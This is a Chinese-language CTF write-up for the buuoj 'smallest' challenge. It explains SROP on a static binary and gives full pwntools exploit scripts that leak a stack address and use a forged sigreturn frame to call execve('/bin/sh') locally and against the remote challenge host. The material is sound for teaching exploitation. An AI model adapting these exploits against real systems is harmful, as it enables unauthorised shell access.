buuoj--smallest WP
感谢haivk大佬的帮助和解答,否则我无法打通远程的环境。
拿到文件可以看到应用了静态链接,分析程序,只有一段向rsp中读入0x400字节的代码:
这道题目考察SROP,SROP利用sigreturn系统调用机制,我们可以通过事先在栈上伪造布置好一定的栈布局后调用sigreturn,这里可以布置rax\rsp\rip\rsi\rdi等一系列寄存器,因此可以执行我们期望执行的系统调用或利用gadgets劫持程序流到栈顶指针等。
这里我们期望直接执行execve("/bin/sh",NULL,NULL);
进行getshell,关键在于找到/bin/sh
的位置,由于这里可以直接向栈顶rsp中写入,我们可以考虑先向栈中写入字符串/bin/sh
,再利用栈地址构造execve系统调用所需要的参数。由于rax寄存器既存放函数调用的返回值又存储系统调用号,因此我们可以通过控制read函数读入的字节数进行不同的系统调用,我们首先泄露栈空间,为了实现向标准输出流中写的效果我们希望调用write函数,系统调用号为1,我们发送'\xb3'字节,可以实现修改rax为1并输出栈顶指针所指向的数据,在本地调试的情况如下:
可以观察到栈中偏移量为0x360的位置上存放的数据具体我们的栈基址很近,我选择利用这个地址泄露此时的栈顶地址rsp:
re_addr=0x4000B0
syscall=0x4000BE
pd=p64(re_addr)*3
sd(pd)
pause()
sd('\xb3')
p.recv(0x360)
leak_addr=leak_address()
print hex(leak_addr)
stack_base=leak_addr-(0x00007ffcc1286529-0x7ffcc1286188)
print hex(stack_base)
接着,我们构造栈布局,布置execve函数的参数,并通过read15个字节进行sigreturn系统调用:
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdi=stack_base+0x108
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall
pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/sh\x00'
print len(sigframe)
pause()
sd(pd)
pause()
pd=p64(syscall)+'b'*7
sd(pd)
注意此时的payload需要补充8个字节才能正确构造。
完整的exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='smallest'
if local:
p=process('./'+binary_name)
e=ELF('./'+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27440)
e=ELF('./'+binary_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
re_addr=0x4000B0
syscall=0x4000BE
pd=p64(re_addr)*3
sd(pd)
pause()
sd('\xb3')
p.recv(0x360)
leak_addr=leak_address()
print hex(leak_addr)
stack_base=leak_addr-(0x00007ffcc1286529-0x7ffcc1286188)
print hex(stack_base)
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdi=stack_base+0x108
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall
pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/sh\x00'
print len(sigframe)
pause()
sd(pd)
pause()
pd=p64(syscall)+'b'*7
sd(pd)
p.interactive()
但是当我们用这个脚本打远程环境的时候,由于远程环境下的栈布局与本地不同,我们需要重新泄露栈地址,可以观察一下返回的数据:
发现在0x148的偏移处与我们刚刚寻找的地址类似,我们先通过输出该栈地址附近的内容测试一下:
re_addr=0x4000B0
syscall=0x4000BE
pd=p64(re_addr)*3
sd(pd)
pause()
sd('\xb3')
p.recv(0x148)
leak_addr=leak_address()
print hex(leak_addr)
sigframe=SigreturnFrame()
sigframe.rax=1
sigframe.rdi=1
sigframe.rsi=leak_addr-0x100
sigframe.rdx=0x200
sigframe.rip=syscall
pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/sh\x00'
print len(sigframe)
pause()
sd(pd)
pause()
pd=p64(syscall)+'b'*7
sd(pd)
可以看到我们部署的/bin/sh
字符串:
正确的到偏移量后即可getshell,完整的exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='smallest'
if local:
p=process('./'+binary_name)
e=ELF('./'+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29098)
e=ELF('./'+binary_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
re_addr=0x4000B0
syscall=0x4000BE
pd=p64(re_addr)*3
sd(pd)
pause()
sd('\xb3')
p.recv(0x148)
leak_addr=leak_address()
print hex(leak_addr)
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdi=leak_addr-0x100+0x77
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall
pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/sh\x00'
print len(sigframe)
pause()
sd(pd)
pause()
pd=p64(syscall)+'b'*7
sd(pd)
p.interactive()